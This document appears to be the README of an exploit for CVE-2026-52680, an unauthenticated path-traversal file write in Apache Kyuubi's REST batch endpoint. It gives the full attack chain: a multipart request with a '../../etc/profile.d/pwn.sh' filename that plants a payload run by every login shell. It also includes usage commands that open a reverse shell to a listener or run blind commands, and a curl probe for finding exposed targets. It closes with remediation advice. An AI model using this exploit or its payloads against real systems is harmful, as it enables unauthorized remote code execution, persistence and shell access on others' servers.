## https://sploitus.com/exploit?id=1D1C4050-7D40-5B6E-819C-42E0C48EDB48
# CVE-2026-52680 β Apache Kyuubi REST Batch Path-Traversal Arbitrary File Write
Unauthenticated arbitrary file write in [Apache Kyuubi](https://github.com/apache/kyuubi)'s REST
API via the multipart batch-submission endpoint.
`POST /api/v1/batches` (multipart/form-data) writes the `resourceFile` part to
`$KYUUBI_HOME/work/upload//` using the **client-supplied filename** with no
path-traversal check (`kyuubi-common` `Utils.writeToTempFile`):
```scala
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
```
A `../` filename escapes the upload directory β **arbitrary-directory file write** (CWE-22) as the
Kyuubi process user. Kyuubi ships `kyuubi.authentication=NONE` by default, so the endpoint is
**unauthenticated**.
- **Affected:** Apache Kyuubi `1.7.0` β `1.11.1`
- **Fixed:** `1.12.0` (adds `filePath.normalize().startsWith(dir.normalize())` containment)
- **Default port:** `10099` (REST frontend, unauthenticated when `authentication=NONE`)
- **CWE:** 22 (Path Traversal) / 73 (External Control of File Name or Path)
- **Impact:** arbitrary file write as the Kyuubi process user β RCE
## Important constraint β the basename is mangled
`writeToTempFile` inserts `--` before the extension, so you control the
destination **directory**, **extension** and **content**, but **not** the exact basename. This
breaks exact-name overwrites (`~/.ssh/authorized_keys`, `/etc/crontab`, `~/.bashrc`) β target a
location that is executed **by glob** instead.
This exploit drops `/etc/profile.d/pwn.sh` β stored as `/etc/profile.d/pwn--.sh`, which
still matches `/etc/profile.d/*.sh` and is **sourced** (no execute bit required) by every login
shell. It runs as whatever user opens a login shell β root if Kyuubi runs as root and a
root login occurs (e.g. `ssh root@host`, `su -`, a cron `bash -lc`).
## Requirements
Python 3 standard library only β no dependencies.
## Usage
```bash
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
```
The upload returns HTTP 500 (`Error opening batch session`) when no Spark backend is present β
that is expected and harmless: the file is written *before* the batch would launch.
## How it works
Two multipart parts:
1. `batchRequest` (JSON) `{"batchType":"SPARK","resource":"x","className":"x","name":"pwn"}` β a
minimal valid `BatchRequest` so validation passes and the upload sink is reached.
2. `resourceFile`, filename `../../../../../../etc/profile.d/pwn.sh`, body = the payload. Kyuubi
writes it (basename-mangled) to `/etc/profile.d/pwn--.sh`.
A login shell then sources `/etc/profile.d/*.sh` and executes the payload.
## Identifying a target
```bash
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
```
A Kyuubi REST frontend on port 10099 with `authentication=NONE` is exploitable.
## Remediation
Upgrade to Apache Kyuubi β₯ 1.12.0, enable authentication (`kyuubi.authentication`), never expose
the REST gateway to untrusted networks, and don't run Kyuubi as root.
## Disclaimer
For authorized security testing and education only. Use it only against systems you own or have
explicit permission to test.